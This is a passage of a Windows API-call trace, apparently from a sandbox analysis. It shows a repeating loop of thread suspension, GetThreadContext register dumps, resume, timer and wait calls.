[157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.841] ResumeThread (hThread=0x170) returned 0x1 [0177.841] CloseHandle (hObject=0x170) returned 1 [0177.841] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.841] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.841] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.841] SuspendThread (hThread=0x170) returned 0x0 [0177.842] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.845] ResumeThread (hThread=0x170) returned 0x1 [0177.845] CloseHandle (hObject=0x170) returned 1 [0177.845] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.845] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.845] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.845] SuspendThread (hThread=0x170) returned 0x0 [0177.845] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.856] ResumeThread (hThread=0x170) returned 0x1 [0177.856] CloseHandle (hObject=0x170) returned 1 [0177.856] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.856] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.856] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.856] SuspendThread (hThread=0x170) returned 0x0 [0177.856] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.859] ResumeThread (hThread=0x170) returned 0x1 [0177.859] CloseHandle (hObject=0x170) returned 1 [0177.860] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.860] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.860] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.860] SuspendThread (hThread=0x170) returned 0x0 [0177.860] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0177.861] ResumeThread (hThread=0x170) returned 0x1 [0177.862] CloseHandle (hObject=0x170) returned 1 [0177.862] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0177.862] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0177.862] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0177.862] SuspendThread (hThread=0x170) returned 0x0 [0177.862] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, 